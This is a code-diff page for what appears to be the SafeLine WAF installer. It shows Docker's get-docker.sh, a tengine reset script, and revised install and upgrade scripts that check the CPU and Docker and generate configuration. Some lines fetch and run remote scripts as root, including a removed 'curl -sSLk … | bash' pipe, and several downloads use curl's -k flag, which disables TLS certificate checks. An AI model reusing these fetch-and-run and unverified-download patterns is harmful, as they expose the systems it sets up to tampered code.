pkgs="docker-ce${pkg_version%=}"
if version_gte "18.09"; then
# older versions didn't ship the cli and containerd as separate packages
pkgs="$pkgs docker-ce-cli${cli_pkg_version%=} containerd.io"
fi
if version_gte "20.10"; then
pkgs="$pkgs docker-compose-plugin docker-ce-rootless-extras$pkg_version"
fi
if version_gte "23.0"; then
pkgs="$pkgs docker-buildx-plugin"
fi
if ! is_dry_run; then
set -x
fi
$sh_c "DEBIAN_FRONTEND=noninteractive apt-get install -y $pkgs"
)
echo_docker_as_nonroot
exit 0
;;
centos|fedora|rhel)
if [ "$(uname -m)" != "s390x" ] && [ "$lsb_dist" = "rhel" ]; then
echo "Packages for RHEL are currently only available for s390x."
exit 1
fi
if command_exists dnf; then
pkg_manager="dnf"
pkg_manager_flags="--best"
config_manager="dnf config-manager"
enable_channel_flag="--set-enabled"
disable_channel_flag="--set-disabled"
pre_reqs="dnf-plugins-core"
else
pkg_manager="yum"
pkg_manager_flags=""
config_manager="yum-config-manager"
enable_channel_flag="--enable"
disable_channel_flag="--disable"
pre_reqs="yum-utils"
fi
if [ "$lsb_dist" = "fedora" ]; then
pkg_suffix="fc$dist_version"
else
pkg_suffix="el"
fi
repo_file_url="$DOWNLOAD_URL/linux/$lsb_dist/$REPO_FILE"
(
if ! is_dry_run; then
set -x
fi
$sh_c "$pkg_manager $pkg_manager_flags install -y $pre_reqs"
$sh_c "$config_manager --add-repo $repo_file_url"
if [ "$CHANNEL" != "stable" ]; then
$sh_c "$config_manager $disable_channel_flag 'docker-ce-*'"
$sh_c "$config_manager $enable_channel_flag 'docker-ce-$CHANNEL'"
fi
$sh_c "$pkg_manager makecache"
)
pkg_version=""
if [ -n "$VERSION" ]; then
if is_dry_run; then
echo "# WARNING: VERSION pinning is not supported in DRY_RUN"
else
pkg_pattern="$(echo "$VERSION" | sed 's/-ce-/\\\\.ce.*/g' | sed 's/-/.*/g').*$pkg_suffix"
search_command="$pkg_manager list --showduplicates docker-ce | grep '$pkg_pattern' | tail -1 | awk '{print \$2}'"
pkg_version="$($sh_c "$search_command")"
echo "INFO: Searching repository for VERSION '$VERSION'"
echo "INFO: $search_command"
if [ -z "$pkg_version" ]; then
echo
echo "ERROR: '$VERSION' not found amongst $pkg_manager list results"
echo
exit 1
fi
if version_gte "18.09"; then
# older versions don't support a cli package
search_command="$pkg_manager list --showduplicates docker-ce-cli | grep '$pkg_pattern' | tail -1 | awk '{print \$2}'"
cli_pkg_version="$($sh_c "$search_command" | cut -d':' -f 2)"
fi
# Cut out the epoch and prefix with a '-'
pkg_version="-$(echo "$pkg_version" | cut -d':' -f 2)"
fi
fi
(
pkgs="docker-ce$pkg_version"
if version_gte "18.09"; then
# older versions didn't ship the cli and containerd as separate packages
if [ -n "$cli_pkg_version" ]; then
pkgs="$pkgs docker-ce-cli-$cli_pkg_version containerd.io"
else
pkgs="$pkgs docker-ce-cli containerd.io"
fi
fi
if version_gte "20.10"; then
pkgs="$pkgs docker-compose-plugin docker-ce-rootless-extras$pkg_version"
fi
if version_gte "23.0"; then
pkgs="$pkgs docker-buildx-plugin"
fi
if ! is_dry_run; then
set -x
fi
$sh_c "$pkg_manager $pkg_manager_flags install -y $pkgs"
)
echo_docker_as_nonroot
exit 0
;;
sles)
if [ "$(uname -m)" != "s390x" ]; then
echo "Packages for SLES are currently only available for s390x"
exit 1
fi
repo_file_url="$DOWNLOAD_URL/linux/$lsb_dist/$REPO_FILE"
pre_reqs="ca-certificates curl libseccomp2 awk"
(
if ! is_dry_run; then
set -x
fi
$sh_c "zypper install -y $pre_reqs"
$sh_c "zypper addrepo $repo_file_url"
if ! is_dry_run; then
cat >&2 <<-'EOF'
WARNING!!
openSUSE repository (https://download.opensuse.org/repositories/security:/SELinux) will be enabled now.
Do you wish to continue?
You may press Ctrl+C now to abort this script.
EOF
( set -x; sleep 30 )
fi
opensuse_repo="https://download.opensuse.org/repositories/security:/SELinux/openSUSE_Factory/security:SELinux.repo"
$sh_c "zypper addrepo $opensuse_repo"
$sh_c "zypper --gpg-auto-import-keys refresh"
$sh_c "zypper lr -d"
)
pkg_version=""
if [ -n "$VERSION" ]; then
if is_dry_run; then
echo "# WARNING: VERSION pinning is not supported in DRY_RUN"
else
pkg_pattern="$(echo "$VERSION" | sed 's/-ce-/\\\\.ce.*/g' | sed 's/-/.*/g')"
search_command="zypper search -s --match-exact 'docker-ce' | grep '$pkg_pattern' | tail -1 | awk '{print \$6}'"
pkg_version="$($sh_c "$search_command")"
echo "INFO: Searching repository for VERSION '$VERSION'"
echo "INFO: $search_command"
if [ -z "$pkg_version" ]; then
echo
echo "ERROR: '$VERSION' not found amongst zypper list results"
echo
exit 1
fi
search_command="zypper search -s --match-exact 'docker-ce-cli' | grep '$pkg_pattern' | tail -1 | awk '{print \$6}'"
# It's okay for cli_pkg_version to be blank, since older versions don't support a cli package
cli_pkg_version="$($sh_c "$search_command")"
pkg_version="-$pkg_version"
fi
fi
(
pkgs="docker-ce$pkg_version"
if version_gte "18.09"; then
if [ -n "$cli_pkg_version" ]; then
# older versions didn't ship the cli and containerd as separate packages
pkgs="$pkgs docker-ce-cli-$cli_pkg_version containerd.io"
else
pkgs="$pkgs docker-ce-cli containerd.io"
fi
fi
if version_gte "20.10"; then
pkgs="$pkgs docker-compose-plugin docker-ce-rootless-extras$pkg_version"
fi
if version_gte "23.0"; then
pkgs="$pkgs docker-buildx-plugin"
fi
if ! is_dry_run; then
set -x
fi
$sh_c "zypper -q install -y $pkgs"
)
echo_docker_as_nonroot
exit 0
;;
*)
if [ -z "$lsb_dist" ]; then
if is_darwin; then
echo
echo "ERROR: Unsupported operating system 'macOS'"
echo "Please get Docker Desktop from https://www.docker.com/products/docker-desktop"
echo
exit 1
fi
fi
echo
echo "ERROR: Unsupported distribution '$lsb_dist'"
echo
exit 1
;;
esac
exit 1
}
# wrapped up in a function so that we have some protection against only getting
# half the file during "curl | sh"
do_install

View File

@@ -0,0 +1,33 @@
#!/bin/bash
set -e
SCRIPT_DIR=$(dirname "$0")
confirm() {
echo -e -n "\033[34m[SafeLine] $* \033[1;36m(Y/n)\033[0m"
read -n 1 -s opt
[[ "$opt" == $'\n' ]] || echo
case "$opt" in
'y' | 'Y' ) return 0;;
'n' | 'N' ) return 1;;
*) confirm "$1";;
esac
}
if ! confirm "是否重新生成 tengine 的所有配置"; then
exit 0
fi
if [ ! -d "${SCRIPT_DIR}/resources/nginx" ]; then
echo "website dir not found"
exit 1
fi
mv "${SCRIPT_DIR}"/resources/nginx "${SCRIPT_DIR}"/resources/nginx."$(date +%s)"
docker restart safeline-tengine > /dev/null
docker exec safeline-mgt gentenginewebsite

View File

@@ -9,7 +9,6 @@ echo "
"
export STREAM=${STREAM:-0}
export CDN=${CDN:-1}
qrcode() {
echo "█████████████████████████████████████████"
@@ -38,39 +37,6 @@ qrcode() {
echo "微信扫描上方二维码加入雷池项目讨论组"
}
command_exists() {
command -v "$1" 2>&1
}
check_container_health() {
local container_name=$1
local max_retry=30
local retry=0
local health_status="unhealthy"
echo "Waiting for $container_name to be healthy"
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || echo 'unhealthy')
sleep 1
retry=$((retry+1))
done
if [[ "$health_status" == "unhealthy" ]]; then
abort "Container $container_name is unhealthy"
fi
echo "Container $container_name is healthy"
}
space_left() {
dir="$1"
while [ ! -d "$dir" ]; do
dir=`dirname "$dir"`;
done
echo `df -h "$dir" --output='avail' | tail -n 1`
}
start_docker() {
systemctl start docker && systemctl enable docker
}
confirm() {
echo -e -n "\033[34m[SafeLine] $* \033[1;36m(Y/n)\033[0m"
read -n 1 -s opt
@@ -98,88 +64,199 @@ abort() {
exit 1
}
command_exists() {
command -v "$1" 2>&1
}
check_container_health() {
local container_name=$1
local max_retry=30
local retry=0
local health_status="unhealthy"
info "Waiting for $container_name to be healthy"
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || info 'unhealthy')
sleep 5
retry=$((retry+1))
done
if [[ "$health_status" == "unhealthy" ]]; then
abort "Container $container_name is unhealthy"
fi
info "Container $container_name is healthy"
}
space_left() {
dir="$1"
while [ ! -d "$dir" ]; do
dir=`dirname "$dir"`;
done
echo `df -h "$dir" --output='avail' | tail -n 1`
}
local_ips() {
if [ -z `command_exists ip` ]; then
ip_cmd="ip addr show"
else
ip_cmd="ifconfig -a"
fi
echo $($ip_cmd | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | awk '{print $2}')
}
get_average_delay() {
local source=$1
local total_delay=0
local iterations=3
for ((i = 0; i < iterations; i++)); do
# check timeout
if ! curl -o /dev/null -m 1 -s -w "%{http_code}\n" "$source" > /dev/null; then
delay=999
else
delay=$(curl -o /dev/null -s -w "%{time_total}\n" "$source")
fi
total_delay=$(awk "BEGIN {print $total_delay + $delay}")
done
average_delay=$(awk "BEGIN {print $total_delay / $iterations}")
echo "$average_delay"
}
install_docker() {
curl -fsSL "https://waf-ce.chaitin.cn/release/latest/get-docker.sh" -o get-docker.sh
sources=(
"https://mirrors.aliyun.com/docker-ce"
"https://mirrors.tencent.com/docker-ce"
"https://download.docker.com"
)
min_delay=${#sources[@]}
selected_source=""
for source in "${sources[@]}"; do
average_delay=$(get_average_delay "$source")
echo "source: $source, delay: $average_delay"
if (( $(awk 'BEGIN { print '"$average_delay"' < '"$min_delay"' }') )); then
min_delay=$average_delay
selected_source=$source
fi
done
echo "selected source: $selected_source"
export DOWNLOAD_URL="$selected_source"
bash get-docker.sh
start_docker
docker version > /dev/null 2>&1
if [ $? -ne "0" ]; then
echo "Docker 安装失败, 请检查网络连接或手动安装 Docker"
echo "参考文档: https://docs.docker.com/engine/install/"
abort "Docker 安装失败"
fi
info "Docker 安装成功"
}
start_docker() {
systemctl enable docker
systemctl daemon-reload
systemctl start docker
}
check_depend() {
# CPU ssse3 指令集检查
support_ssse3=1
lscpu | grep ssse3 > /dev/null 2>&1
if [ $? -ne "0" ]; then
echo "not found info in lscpu"
support_ssse3=0
fi
cat /proc/cpuinfo | grep ssse3 > /dev/null 2>&1
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
fi
if [ -z "$BASH" ]; then
abort "请用 bash 执行本脚本,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ ! -t 0 ]; then
abort "STDIN 不是标准的输入设备,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ "$EUID" -ne "0" ]; then
abort "请以 root 权限运行"
fi
if [ -z `command_exists docker` ]; then
warning "缺少 Docker 环境"
if confirm "是否需要自动安装 Docker"; then
install_docker
else
abort "中止安装"
fi
fi
info "发现 Docker 环境: '`command -v docker`'"
docker version > /dev/null 2>&1
if [ $? -ne "0" ]; then
abort "Docker 服务工作异常"
fi
compose_command="docker compose"
if $compose_command version; then
info "发现 Docker Compose Plugin"
else
warning "未发现 Docker Compose Plugin"
if confirm "是否需要自动安装 Docker Compose Plugin"; then
install_docker
if [ $? -ne "0" ]; then
abort "Docker Compose Plugin 安装失败"
fi
info "Docker Compose Plugin 安装完成"
else
abort "中止安装"
fi
fi
# check docker compose support -d
if ! $compose_command up -d --help > /dev/null 2>&1; then
warning "Docker Compose Plugin 不支持 '-d' 参数"
if confirm "是否需要自动升级 Docker Compose Plugin"; then
install_docker
if [ $? -ne "0" ]; then
abort "Docker Compose Plugin 升级失败"
fi
info "Docker Compose Plugin 升级完成"
else
abort "中止安装"
fi
fi
start_docker
info "安装环境确认正常"
}
trap 'onexit' INT
onexit() {
echo
abort "用户手动结束安装"
}
# CPU ssse3 指令集检查
support_ssse3=1
lscpu | grep ssse3 > /dev/null 2>&1
if [ $? -ne "0" ]; then
echo "not found info in lscpu"
support_ssse3=0
fi
check_depend
cat /proc/cpuinfo | grep ssse3 > /dev/null 2>&1
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
fi
docker network rm safeline-ce 2>/dev/null
ips=`local_ips`
subnets="172.22.222 169.254.222 192.168.222"
for subnet in $subnets; do
if [[ $ips != *$subnet* ]]; then
SUBNET_PREFIX=$subnet
break
fi
done
safeline_path='/data/safeline'
if [ -z "$BASH" ]; then
abort "请用 bash 执行本脚本,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ ! -t 0 ]; then
abort "STDIN 不是标准的输入设备,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ "$#" -ne "0" ]; then
abort "当前脚本无需任何参数,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ "$EUID" -ne "0" ]; then
abort "请以 root 权限运行"
fi
info "脚本调用方式确认正常"
if [ -z `command_exists docker` ]; then
warning "缺少 Docker 环境"
if confirm "是否需要自动安装 Docker"; then
curl -sSLk https://get.docker.com/ | bash
if [ $? -ne "0" ]; then
abort "Docker 安装失败"
fi
info "Docker 安装完成"
else
abort "中止安装"
fi
fi
info "发现 Docker 环境: '`command -v docker`'"
start_docker
docker version > /dev/null 2>&1
if [ $? -ne "0" ]; then
abort "Docker 服务工作异常"
fi
info "Docker 工作状态正常"
compose_command="docker compose"
if $compose_command version; then
info "发现 Docker Compose Plugin"
else
warning "未发现 Docker Compose Plugin"
compose_command="docker-compose"
if [ -z `command_exists "docker-compose"` ]; then
warning "未发现 docker-compose 组件"
if confirm "是否需要自动安装 Docker Compose Plugin"; then
curl -sSLk https://get.docker.com/ | bash
if [ $? -ne "0" ]; then
abort "Docker Compose Plugin 安装失败"
fi
info "Docker Compose Plugin 安装完成"
compose_command="docker compose"
else
abort "中止安装"
fi
else
info "发现 docker-compose 组件: '`command -v docker-compose`'"
fi
fi
while true; do
echo -e -n "\033[34m[SafeLine] 雷池安装目录 (留空则为 '$safeline_path'): \033[0m"
read input_path
@@ -210,6 +287,7 @@ info "创建安装目录 '$safeline_path' 成功"
cd "$safeline_path"
curl "https://waf-ce.chaitin.cn/release/latest/compose.yaml" -sSLk -o compose.yaml
curl "https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh" -sSLk -o reset_tengine.sh
if [ $? -ne "0" ]; then
abort "下载 compose.yaml 脚本失败"
@@ -232,7 +310,16 @@ fi
echo "MGT_PORT=9443" >> .env
echo "POSTGRES_PASSWORD=$(LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c 32)" >> .env
echo "SUBNET_PREFIX=172.22.222" >> .env
echo "SUBNET_PREFIX=$SUBNET_PREFIX" >> .env
if [ -z "$CDN" ]; then
if ping -c 1 -W 1 docker.com > /dev/null 2>&1; then
CDN=0
else
CDN=1
echo "检测到你的网络环境不支持直接访问 Docker Hub 镜像将从华为云镜像仓库下载"
fi
fi
if [ $CDN -eq 0 ]; then
echo "IMAGE_PREFIX=chaitin" >>".env"
@@ -256,4 +343,6 @@ docker exec safeline-mgt /app/mgt-cli reset-admin --once
warning "雷池 WAF 社区版安装成功,请访问以下地址访问控制台"
warning "https://0.0.0.0:9443/"
for ip in $ips; do
warning https://$ip:9443/
done

View File

@@ -9,7 +9,6 @@ echo "
"
export STREAM=${STREAM:-0}
export CDN=${CDN:-1}
echo $1
@@ -54,7 +53,7 @@ check_container_health() {
echo "Waiting for $container_name to be healthy"
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || echo 'unhealthy')
sleep 1
sleep 5
retry=$((retry+1))
done
if [[ "$health_status" == "unhealthy" ]]; then
@@ -93,6 +92,7 @@ warning() {
}
abort() {
mv $compose_name.old $compose_name 2>/dev/null || true
qrcode
echo -e "\033[31m[SafeLine] $*\033[0m"
exit 1
@@ -104,86 +104,153 @@ onexit() {
abort "用户手动结束升级"
}
# CPU ssse3 指令集检查
support_ssse3=1
lscpu | grep ssse3 >/dev/null 2>&1
if [ $? -ne "0" ]; then
echo "not found info in lscpu"
support_ssse3=0
fi
get_average_delay() {
local source=$1
local total_delay=0
local iterations=3
cat /proc/cpuinfo | grep ssse3 >/dev/null 2>&1
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
fi
if [ -z "$BASH" ]; then
abort "请用 bash 执行本脚本, 请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ ! -t 0 ]; then
abort "STDIN 不是标准的输入设备, 请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ "$#" -ne "0" ]; then
abort "当前脚本无需任何参数, 请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ "$EUID" -ne "0" ]; then
abort "请以 root 权限运行"
fi
info "脚本调用方式确认正常"
if [ -z $(command_exists docker) ]; then
warning "缺少 Docker 环境"
if confirm "是否需要自动安装 Docker"; then
curl -sSLk https://get.docker.com/ | bash
if [ $? -ne "0" ]; then
abort "Docker 安装失败"
for ((i = 0; i < iterations; i++)); do
# check timeout
if ! curl -o /dev/null -m 1 -s -w "%{http_code}\n" "$source" > /dev/null; then
delay=999
else
delay=$(curl -o /dev/null -s -w "%{time_total}\n" "$source")
fi
info "Docker 安装完成"
else
abort "中止安装"
total_delay=$(awk "BEGIN {print $total_delay + $delay}")
done
average_delay=$(awk "BEGIN {print $total_delay / $iterations}")
echo "$average_delay"
}
install_docker() {
curl -fsSL "https://waf-ce.chaitin.cn/release/latest/get-docker.sh" -o get-docker.sh
sources=(
"https://mirrors.aliyun.com/docker-ce"
"https://mirrors.tencent.com/docker-ce"
"https://download.docker.com"
)
min_delay=${#sources[@]}
selected_source=""
for source in "${sources[@]}"; do
average_delay=$(get_average_delay "$source")
echo "source: $source, delay: $average_delay"
if (( $(awk 'BEGIN { print '"$average_delay"' < '"$min_delay"' }') )); then
min_delay=$average_delay
selected_source=$source
fi
done
echo "selected source: $selected_source"
export DOWNLOAD_URL="$selected_source"
bash get-docker.sh
start_docker
docker version > /dev/null 2>&1
if [ $? -ne "0" ]; then
echo "Docker 安装失败, 请检查网络连接或手动安装 Docker"
echo "参考文档: https://docs.docker.com/engine/install/"
abort "Docker 安装失败"
fi
fi
info "发现 Docker 环境: '$(command -v docker)'"
info "Docker 安装成功"
}
docker version >/dev/null 2>&1
if [ $? -ne "0" ]; then
abort "Docker 服务工作异常"
fi
info "Docker 工作状态正常"
start_docker() {
echo "start docker"
systemctl enable docker
systemctl daemon-reload
systemctl start docker
}
compose_command="docker compose"
if $compose_command version; then
info "发现 Docker Compose Plugin"
else
warning "未发现 Docker Compose Plugin"
compose_command="docker-compose"
if [ -z $(command_exists "docker-compose") ]; then
warning "未发现 docker-compose 组件"
if confirm "是否需要自动安装 Docker Compose Plugin"; then
curl -sSLk https://get.docker.com/ | bash
if [ $? -ne "0" ]; then
abort "Docker Compose Plugin 安装失败"
fi
info "Docker Compose Plugin 安装完成"
compose_command="docker compose"
check_depend() {
# CPU ssse3 指令集检查
support_ssse3=1
lscpu | grep ssse3 > /dev/null 2>&1
if [ $? -ne "0" ]; then
echo "not found info in lscpu"
support_ssse3=0
fi
cat /proc/cpuinfo | grep ssse3 > /dev/null 2>&1
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
fi
if [ -z "$BASH" ]; then
abort "请用 bash 执行本脚本,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ ! -t 0 ]; then
abort "STDIN 不是标准的输入设备,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
fi
if [ "$EUID" -ne "0" ]; then
abort "请以 root 权限运行"
fi
if [ -z `command_exists docker` ]; then
warning "缺少 Docker 环境"
if confirm "是否需要自动安装 Docker"; then
install_docker
else
abort "中止安装"
fi
else
info "发现 docker-compose 组件: '$(command -v docker-compose)'"
fi
fi
info "发现 Docker 环境: '`command -v docker`'"
docker version > /dev/null 2>&1
if [ $? -ne "0" ]; then
abort "Docker 服务工作异常"
fi
compose_command="docker compose"
if $compose_command version; then
info "发现 Docker Compose Plugin"
else
compose_command="docker-compose"
if $compose_command version; then
info "发现 Docker Compose"
else
warning "未发现 Docker Compose"
if confirm "是否需要自动安装 Docker Compose"; then
install_docker
if [ $? -ne "0" ]; then
abort "Docker Compose 安装失败"
fi
info "Docker Compose 安装完成"
else
abort "中止安装"
fi
fi
fi
# check docker compose support -d
if ! $compose_command up -d --help > /dev/null 2>&1; then
warning "Docker Compose Plugin 不支持 '-d' 参数"
if confirm "是否需要自动升级 Docker Compose Plugin"; then
install_docker
if [ $? -ne "0" ]; then
abort "Docker Compose Plugin 升级失败"
fi
info "Docker Compose Plugin 升级完成"
else
abort "中止安装"
fi
fi
start_docker
info "安装环境确认正常"
}
check_depend
container_id=$(docker ps -n 1 --filter name=.*safeline-mgt.* --format '{{.ID}}')
safeline_path=$(docker inspect --format '{{index .Config.Labels "com.docker.compose.project.working_dir"}}' $container_id)
while [ -z "$safeline_path" ]; do
echo -e -n "\033[34m[SafeLine] 未发现正在运行的雷池,请输入雷池安装路径 (留空则为 '$(pwd)'): \033[0m"
echo -e -n "\033[34m[SafeLine] 未发现正在运行的雷池,请输入雷池安装路径 (留空则为 '/data/safeline'): \033[0m"
read input_path
[[ -z "$input_path" ]] && input_path=$(pwd)
[[ -z "$input_path" ]] && input_path='/data/safeline'
if [[ ! $input_path == /* ]]; then
warning "'$input_path' 不是合法的绝对路径"
@@ -195,23 +262,13 @@ done
cd "$safeline_path"
grep COLLIE .env >/dev/null 2>&1
if [ $? -eq "0" ]; then
abort "检测到你的环境通过牧云主机助手安装,请使用牧云主机助手-应用市场进行升级."
fi
compose_name=$(ls docker-compose.yaml compose.yaml 2>/dev/null)
compose_path=$safeline_path/$compose_name
if [ -f "$compose_path" ]; then
info "发现位于 '$safeline_path' 的雷池环境"
else
abort "没有发现位于 $safeline_path 的雷池环境"
fi
mv $compose_name $compose_name.old
mv $compose_name $compose_name.old || true
curl "https://waf-ce.chaitin.cn/release/latest/compose.yaml" -sSLk -o $compose_name
curl "https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh" -sSLk -o reset_tengine.sh
if [ $? -ne "0" ]; then
abort "下载 compose.yaml 脚本失败"
@@ -236,6 +293,14 @@ grep "MGT_PORT" ".env" >/dev/null || echo "MGT_PORT=9443" >>".env"
grep "POSTGRES_PASSWORD" ".env" >/dev/null || echo "POSTGRES_PASSWORD=$(LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c 32)" >>".env"
grep "SUBNET_PREFIX" ".env" >/dev/null || echo "SUBNET_PREFIX=172.22.222" >>".env"
if [ -z "$CDN" ]; then
if ping -c 1 -W 1 docker.com > /dev/null 2>&1; then
CDN=0
else
CDN=1
echo "检测到你的网络环境不支持直接访问 Docker Hub 镜像将从华为云镜像仓库下载"
fi
fi
if [ $CDN -eq 0 ]; then
sed -i "s/IMAGE_PREFIX=.*/IMAGE_PREFIX=chaitin/g" ".env"

View File

@@ -1,4 +1,4 @@
{
"latest_version": "v5.2.0",
"rec_version": "v5.2.0"
"latest_version": "v6.2.0",
"rec_version": "v6.2.0"
}

Some files were not shown because too many files have changed in this diff Show More